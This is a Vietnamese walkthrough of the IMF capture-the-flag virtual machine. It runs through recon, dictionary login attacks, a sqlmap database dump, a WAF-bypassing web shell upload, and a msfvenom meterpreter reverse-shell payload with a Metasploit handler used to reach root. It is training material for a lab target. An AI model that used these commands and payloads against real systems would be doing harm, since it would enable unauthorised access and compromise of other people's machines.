CEHack IMF VM (Thử thách CTF)
Xin chào các bạn! Hôm nay chúng ta sẽ thực hiện một thử thách CTF được gọi là IMF. Công lao để tạo ra cỗ máy vm này thuộc về “Geckom” và đây là một thử thách CTF khác, nơi chúng tôi phải tìm 6 lá cờ để hoàn thành thử thách. Bạn có thể tải xuống máy ảo này tại đây . Đây cũng là một OSCP Like VulnHub, và CPENT, CEH Master Lab thực hành. Bài này khá là xoắn, vì vậy các bạn dành thời gian tìm hiểu một số vấn đề về base64 và cách giải, ngoài ra là một số kiến thức gdp và hợp ngữ. Nhìn chung, đây là lab rất hay cần bỏ time để luyện tập. Đổ mồ hôi thao trường sẽ hạn chế đổ má.u trên chiến trường, hoặc đở thi lại nhiều lần (thi 1 lần vẫn ok nhé, chẳng có gì ngại ngùng khi phải thi lại cả, có khi nó còn giúp các bạn bản lĩnh vững vàng hơn trong thực tế, còn nếu như các bạn thì lại ần 2, 3, hay thậm chí 4 mà vẫn sẵn sàng thi tiếp thì bạn là người Không Dễ Gì Bị Đánh Bại, tôi tôn trọng nổ lực đó của các bạn)
Hãy CEHack !!!
Chúng ta hãy bắt đầu tìm hiểu IP của VM (Ở đây là 192.168.0.25 nhưng bạn sẽ phải tìm cái của riêng mình)
netdiscover
Sử dụng nmap để liệt kê cổng
nmap -sV 192.168.0.25
Chúng tôi thấy cổng 80 đang mở, vì vậy chúng tôi mở địa chỉ ip trong trình duyệt của mình.
Chúng tôi xem xét mã nguồn và tìm thấy một số tệp javascript giống như được mã hóa base64.
Chúng tôi mở chúng và không tìm thấy gì thú vị nhưng khi nối tên của chúng và giải mã chúng, chúng tôi tìm thấy lá cờ thứ 2 của mình.
Bên trong lá cờ, ta tìm thấy một chuỗi mã hóa base64 khác, giải mã nó, tìm thấy một chuỗi có tên là imfadministrator.
xem qua trang web và trong mã nguồn của trang contact.php , ta tìm thấy lá cờ đầu tiên của mình.
Cờ 1 chứa một chuỗi được mã hóa base64 khi giải mã nó, chúng tôi tìm thấy một chuỗi có tên là allthefiles.
mở allthefiles và imfadministrator trên trình duyệt. Ta thấy rằng imfadministrator là một thư mục dẫn đến trang đăng nhập.
Trong trang contact.php, chúng tôi tìm thấy một số địa chỉ email nên chúng tôi sử dụng cewl để tạo từ điển.
Chúng tôi sử dụng burpsuite để khởi động một cuộc tấn công từ điển. Ta chọn vị trí và đổi mật khẩu từ chuỗi thành mảng.
Bây giờ chúng tôi tìm thấy cờ thứ ba trong phản hồi của mình, khi đăng nhập thành công.
Bây giờ truy cập trang, chúng ta thấy rằng trang có thể dễ bị tấn công bởi sql injection.
Sử dụng burpsuite, chúng tôi nắm bắt yêu cầu của trang này và lưu nó vào một tệp văn bản.
Chúng tôi sử dụng sqlmap để kết xuất cơ sở dữ liệu.
sqlmap -r /root/Desktop/imf.txt –dbs –batch –dump-all
Chúng tôi tìm thấy tên của các trang cùng với một trang khác có tên là hướng dẫn chưa hoàn thành. Chúng tôi mở nó trên trình duyệt của mình và tìm một trang có mã QR bên trong một hình ảnh.
Khi chúng tôi giải mã mã QR, chúng ta có cờ thứ 4.
Bên trong lá cờ của tìm thấy một chuỗi được mã hóa base64, khi chúng tôi giải mã nó, chúng tôi tìm thấy một chuỗi có tên là uploadr942.php
mở nó trên trình duyệt của mình và tìm thấy một trang để tải tệp lên.
Bây giờ, khi tải lên shell, ta thấy rằng nó được bảo vệ bởi WAF, vì vậy chúng tôi tạo một shell tùy chỉnh và lưu nó dưới dạng tệp GIF để vượt qua WAF.
Bây giờ chúng tôi tải tệp lên và kiểm tra phản hồi từ máy chủ để tìm nơi tệp của chúng tôi được tải lên.
Ta thấy máy chủ gửi một chuỗi trong một nhận xét, chúng tôi thấy tệp của chúng tôi nằm trong thư mục uploads và nhận xét trong phản hồi do máy chủ gửi là tên tệp của chúng tôi.
Sau khi tìm thấy shell của mình ta sẽ tìm thấy lá cờ thứ 5. Bây giờ chúng tôi sử dụng web_delivery để lấy shell ngược bằng metasploit.
Chúng tôi thiết lập metasploit cho web_delivery và thực thi lệnh trên trình bao của mình.
Bây giờ ta có lớp vỏ ngược, chúng ta hãy xem bên trong lá cờ thứ 5
… tìm thấy một chuỗi mã hóa base64 khi giải mã nó chúng tôi tìm thấy một chuỗi agentservices.
kiểm tra các kết nối của máy chủ bằng netstat
netstat-antp
Ta tìm thấy một dịch vụ đang chạy trên cổng 7788, hãy sử dụng curl để tìm xem máy chủ nào đang chạy trên cổng 7788.
curl localhost:7788
Chúng tôi tìm thấy một dịch vụ có tên là agent đang chạy, vì vậy chúng tôi tìm vị trí của agent bằng cách sử dụng lệnh which
which agent
Khi di chuyển vào thư mục, ta tìm thấy một tệp có tên access_codes , chúng tôi mở tệp đó và tìm một vài thọng tin trông giống như một trình tự gõ cổng port knock.
Vì vậy, chúng tôi port knock máy chủ và thấy rằng cổng 7788 đã mở.
knock 192.168.0.25 7482 8279 9467
Bây giờ hãy tải tệp chương trình agent xuống hệ thống của mình để thực hiện kỹ thuật đảo ngược.
download agent /root/Desktop
Bây giờ reverse engineer tệp để tìm cách khai thác. Đầu tiên chúng ta disassemble chức năng chính.
gdb -q agent
disassemble main
Chúng tôi thấy rằng tại địa chỉ bộ nhớ 80486ba , chức năng so sánh chuỗi diễn ra nên chúng tôi thêm một điểm ngắt ở đó.
Chúng ta break chương trình tại 80486ba và chạy nó. Sau khi chạy hãy xem xét các vị trí bộ nhớ được liên kết với chương trình.
break *0x80486ba
info registers
nhìn vào bên trong bốn halfword của bộ nhớ phía trên con trỏ starck
x/4xw 0xffffd340
Trong địa chỉ bộ nhớ 804c070, ta tìm thấy mật khẩu để truy cập chương trình.
x/s 0x0804c070
Bây giờ chúng tôi truy cập chương trình từ máy chủ bằng netcat và thấy rằng chuỗi có thể cấp cho chúng tôi quyền truy cập vào chương trình
netcat 192.168.0.25 7788
Bây giờ tôi tạo một khai thác cho chương trình này, trước tiên chúng tôi tạo một shellcode với msfvenom.
msfvenom –p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.15 lport=4444 –f python –b \x00\xa0\x0d
Bây giờ tôi tạo khai thác của mình bằng python. Chúng tôi fuzz thủ công vị trí bộ nhớ bên trong khai thác của mình.
… thiết lập trình xử lý của mình trên metesploit và thực thi trình bao.
msf > use exploit/multi/handler
msf exploit (handler) > set payload linux/x86/meterpreter/reverse_shell
msf exploit (handler) > set lhost 192.168.0.15
msf exploit (handler) > set lport 4444
msf exploit (handler) > run
bây giờ chúng tôi kiểm tra các phiên và lấy shell tương tác
msf exploit (handler) > sessions
msf exploit (handler) > sessions -i 3
Bây giờ hãy kiểm tra shell các đặc quyền của mình, thấy rằng đã có root. Khi di chuyển bên trong thư mục /root/, ta tìm thấy lá cờ thứ 6 và cũng là lá cờ cuối cùng.
Tác giả : Sayantan Bera